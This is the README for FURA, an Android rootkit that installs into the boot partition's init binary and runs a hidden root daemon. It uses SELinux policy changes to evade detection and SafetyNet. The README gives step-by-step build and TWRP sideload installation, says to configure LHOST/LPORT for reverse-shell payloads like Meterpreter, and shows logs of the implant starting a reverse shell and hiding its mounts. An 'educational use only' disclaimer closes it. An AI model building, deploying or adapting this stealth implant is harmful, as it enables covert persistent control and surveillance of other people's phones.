A full rework of unlocked-bootloader-backdoor-demo by LuigiVampa92
FURA is a systemless flashable backdoor installed into boot partition, particularly into init binary. On boot, it launches a system daemon with root privileges and unrestricted SELinux context, which is also hidden from process list. Since it's operating within ramdisk, this tool can bypass most root checks, integrity checks, etc. and presumably cannot be detected without root (not even by ADB shell).
Unlike its predecessor, this rootkit can bypass SafetyNet, since it doesn't need to modify system partition.
However, it can't bypass hardware checks, such as hardware-backed SafetyNet on newer devices.
The daemon launches arbitrary executable in loop, while providing cover and execution control. It runs silently and normally leaves no traces in dmesg, logcat, etc., unlike regular services run by init in loop.
FURA uses SELinux to its own advantage: not only to bypass stock policy restrictions, but to hide itself from the rest of the system.
This tool, like its predecessor, is based on Magisk source code, but does not necessary require root or Magisk preinstalled on the device. It mostly uses a part of MagiskInit to patch SELinux policies.
| OS | Android | Boot scheme |
|---|---|---|
| MIUI 11.0.2 | 7 | rootfs |
| LineageOS 17.1 | 10 | 2SI |
| LineageOS 19.0 | 12 | 2SI |
Note: if Magisk is installed on SAR or 2SI device, this tool will fallback to Magisk's overlay.d. It will use standard magisk context which is not hidden by SELinux policy. In this case, setting hide_process_bind is recommended (see config.prop).
- Installs entirely into /boot, does not modify /system in any way
- Operates in ramdisk without touching storage
- Employs a custom daemon to monitor payload execution
- Modifies SELinux policy to hide itself
- Installation and backup no longer depend on /data
- Installation takes much less time
- Cut artifacts and unused code left from Magisk
- Compatible with Magisk on device
- Not hidden from root (files, mounts, etc.)
- On some systems logcat may log random service name on boot
- Sockets (if any) are not hidden, though specific process using network is
- Not hidden by SELinux policy if installed with Magisk on SAR / 2SI device
- Python 3
- Android SDK
- ADB / Fastboot tools
- Custom recovery image for your device (TWRP is recommended)
cd into main project directory.
Set ANDROID_SDK_ROOT variable in your shell. For example:
$ export ANDROID_SDK_ROOT=/opt/android-sdk Install and configure NDK:
$ ./build_revshell.py ndk Run the build script:
$ ./build_revshell.py clean # before rebuild if changed config $ ./build_revshell.py The result is a sideloadable .zip package which can be installed with TWRP or other recovery.
Note: if using reverse shell payloads (such as ReverseSSH, Meterpreter, etc.), set your LHOST and LPORT in config.prop before building.
Note: if SELinux is permissive or off on the target device or you have Magisk, you can use alternative hiding method. See config.prop for details.
Note: you can disable logging (logcat and selinux) by setting release=True in the end of build_revshell.py.
Run TWRP on your device:
$ fastboot boot twrp.img Start sideload feature in Advanced / Sideload and then run:
$ adb sideload zip_reverse_shell_v2.zip At this moment, do not reboot right away. Backup original boot partition:
$ adb pull /tmp/backup_original_partitions . Run the command before rebooting into system, otherwise you might not be able to fully restore stock boot image.
Reboot into system after you have backups on your PC.
You have two options to uninstall this tool: restore /boot image using backup or revert modifications in-place.
To restore the image, push a backup of the original partitions made during installation to /tmp:
$ adb push backup_original_partitions /tmp/ If you don't have a backup image or don't need to keep /boot signed, you can proceed without backups. In this case, uninstall script will attempt to restore init in-place.
Start sideload feature in Advanced / ADB Sideload and then run:
$ adb sideload zip_reverse_shell_uninstall.zip Reboot into system.
... or you can just flash stock boot image if you have one:
$ fastboot flash boot boot.img There are installation scripts to automate install / reinstall process.
Before running one, rename or symlink your TWRP image as twrp in your current directory.
Simply connect your device via USB and switch it into Fastboot mode. After installation, backups will be saved automatically.
install.sh to install or reinstall.
uninstall.sh to uninstall: either restore boot image from backup or uninstall directly.
In case installation script crashes, make sure you pull backups manually when prompted! (see TWRP console)
The default payload in this repo is a dummy program that writes stuff to logcat.
After boot is completed, you should be able to see its output:
$ adb logcat | grep revshell 03-18 00:34:41.732 2381 2381 D revshell_exec: Remounting /sbin to avoid mount detection ... 03-18 00:34:41.732 2381 2381 D revshell_exec: Setting up /mnt/secure/temp 03-18 00:34:41.732 2381 2381 D revshell_exec: Awaiting decryption ... 03-18 00:34:41.732 2381 2381 D revshell_exec: Decrypted. Setting persistence dir at /data/adb/.aura 03-18 00:34:46.817 2381 2381 I revshell_exec: restarting ... 03-18 00:34:46.884 3197 3197 D revshell: Start successfull! 03-18 00:34:46.885 3197 3197 D revshell: Signals are set to ignore 03-18 00:34:46.885 3197 3197 D revshell: Hey I'm a revshell process! 03-18 00:34:46.885 3197 3197 D revshell: My PID -- 3197 03-18 00:34:46.885 3197 3197 D revshell: My parent PID -- 2381 03-18 00:34:46.885 3197 3197 D revshell: My UID -- 0 03-18 00:34:46.885 3197 3197 D revshell: Awaiting encrypted FS decryption now... 03-18 00:34:51.241 2381 2381 D revshell_exec: Checking PID 03-18 00:34:51.311 3197 3197 D revshell: FS has been decrypted! 03-18 00:34:51.311 3197 3197 D revshell: Starting reverse shell now 03-18 00:34:56.242 2381 2381 D revshell_exec: Checking PID 03-18 00:34:56.312 3197 3197 D revshell: tick ! 10 seconds since process started 03-18 00:35:01.244 2381 2381 D revshell_exec: Checking PID 03-18 00:35:01.312 3197 3197 D revshell: tick ! 15 seconds since process started On boot, temp and persistence directories are created:
/mnt/secure/temp- protected directory in tmpfs/data/adb/.fura- directory to store arbitrary files persistently
Both directories are protected by SELinux policy, so they might be inaccessible even to root (depends on the stock policy).
You can disable logging (logcat and selinux) by setting release=True in the end of build_revshell.py.
To embed a custom payload, simply put your executable into revshell/{arch}/ as revshell. It is not required to place executables for all archs: those where revshell is absent will use default payload.
For more details on custom payloads, see Payloads.
Thanks to LuigiVampa92 for a great article on a physical access attack concept for devices with unlocked bootloader.
Thanks to topjohnwu and all Magisk maintainers for that brilliant swiss army knife for Android and a great contribution to Android modding community.
Magisk
unlocked-bootloader-backdoor-demo
This tool is designed for educational purposes only. You may utilize this software solely on your personal devices. Any attempt to use it on a device without explicit authorization is unethical and may violate privacy laws. Using this software may result in bricking or damaging your device. Create a backup of your data and stock ROM before using it. Use at your own risk. Developer is not responsible for any damage or loss caused by this tool.